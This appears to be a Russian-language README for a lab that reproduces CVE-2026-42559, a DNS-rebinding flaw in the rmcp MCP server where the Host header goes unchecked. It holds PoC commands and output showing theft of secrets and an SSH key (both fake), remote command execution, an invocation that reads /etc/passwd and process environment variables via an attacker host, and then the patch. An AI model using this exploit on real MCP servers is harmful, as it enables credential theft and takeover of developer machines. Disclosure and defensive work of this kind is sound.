.
├── docker-compose.yml       # два сервиса, один исходник, разные версии rmcp
├── mcp-server/              # реалистичный MCP-сервер «ассистента разработчика»
│   ├── Cargo.toml
│   ├── Dockerfile           # аргумент сборки RMCP_VERSION фиксирует версию крейта
│   └── src/main.rs
└── exploit/
    └── exploit.py           # PoC, Python 3.9+, без зависимостей

docker compose up -d --build

python3 exploit/exploit.py --target 127.0.0.1:8000

CVE-2026-42559 :: rmcp Streamable HTTP -- заголовок Host не проверяется
    target       http://127.0.0.1:8000/mcp
    legit Host   127.0.0.1:8000
    rebind Host  mcp-rebind.attacker.example:8000

[*] шаг 0: базовое рукопожатие с легитимным заголовком Host
[+] 200 OK -- сервер работает: rmcp 1.3.0

[*] шаг 1: повтор запроса после ребиндинга (Host: mcp-rebind.attacker.example:8000)
[!] 200 OK -- поддельный заголовок Host принят: УЯЗВИМ к CVE-2026-42559
[+] сессия открыта с чужого источника: Mcp-Session-Id=589c9643-d2e6-4267-8ed5-86265f0d8b57

[*] шаг 2: перечисление инструментов, теперь доступных странице атакующего
        - read_file    Прочитать файл с рабочей станции
        - run_command  Выполнить shell-команду на рабочей станции
        - whoami       Описать рабочую станцию, на которой работает этот ассистент

[*] шаг 3: вызов инструментов так, будто страница атакующего — локальный MCP-клиент
    tools/call whoami
        | user=unknown host=35b31d892a7a pid=1
    tools/call read_file path=/home/dev/project/.env
        | STRIPE_SECRET_KEY=sk_live_FAKE_0000000000000000
        | DATABASE_URL=postgres://app:[email protected]:5432/app
    tools/call read_file path=/home/dev/.ssh/id_ed25519
        | -----BEGIN OPENSSH PRIVATE KEY-----
        | FAKE-KEY-FOR-THE-CVE-2026-42559-LAB-DO-NOT-USE
        | -----END OPENSSH PRIVATE KEY-----
    tools/call run_command command='id; uname -a'
        | uid=1000(dev) gid=1000(dev) groups=1000(dev)
        | Linux 35b31d892a7a 6.10.14-linuxkit #1 SMP aarch64 GNU/Linux

[!] произвольное чтение и выполнение команд на хосте жертвы, из веб-страницы

python3 exploit/exploit.py --target 127.0.0.1:8001

[*] шаг 0: базовое рукопожатие с легитимным заголовком Host
[+] 200 OK -- сервер работает: rmcp 1.4.0

[*] шаг 1: повтор запроса после ребиндинга (Host: mcp-rebind.attacker.example:8001)
[+] 403 Forbidden -- Forbidden: заголовок Host не разрешён
[+] НЕ УЯЗВИМ: эта сборка проверяет заголовок Host (rmcp >= 1.4.0)

python3 exploit/exploit.py \
  --target 127.0.0.1:8000 \
  --rebind-host wallet.attacker.example \
  --loot /etc/passwd \
  --command 'cat /proc/self/environ | tr "\0" "\n"'

// 1. Обновитесь.
//    rmcp = "1.4"   (или новее)

// 2. Только loopback — это поведение по умолчанию начиная с 1.4.0 —
//    для локально привязанного сервера ничего делать не нужно.
let config = StreamableHttpServerConfig::default();

// 3. Для настоящего публичного развёртывания добавьте свои имена в белый список.
let config = StreamableHttpServerConfig::default()
    .with_allowed_hosts(["mcp.example.com", "mcp.example.com:8443"]);